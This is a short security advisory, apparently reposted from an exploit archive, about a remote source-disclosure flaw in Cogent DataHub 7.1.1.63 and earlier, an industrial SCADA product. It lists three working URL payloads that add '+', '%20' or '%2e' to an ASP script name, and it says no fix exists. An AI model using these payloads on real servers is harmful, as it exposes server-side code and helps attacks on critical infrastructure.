Cogent DataHub <= 7.1.1.63 Source Disclosure

#######################################################################
 
                             Luigi Auriemma
 
Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          source disclosure
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org
 
 
#######################################################################
 
 
1) Introduction
2) Bug
3) The Code
4) Fix
 
 
#######################################################################
 
===============
1) Introduction
===============
 
 
DataHub is a software for the SCADA and automation sector.
 
 
#######################################################################
 
======
2) Bug
======
 
 
The server/service listens on port 80 using a custom web server.
 
Through the appending of the following chars it's possible to view the
content of the server-side scripts on the server:
 
  +
  %20
  %2e
 
This vulnerability is useful when the server hosts customized scripts
which seems a feature of the software:
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html
 
 
#######################################################################
 
===========
3) The Code
===========
 
 
http://SERVER/index.asp+
http://SERVER/index.asp%20
http://SERVER/index.asp%2e
 
 
#######################################################################
 
======
4) Fix
======
 
 
No fix.
 
 
#######################################################################



#  0day.today [2018-04-02]  #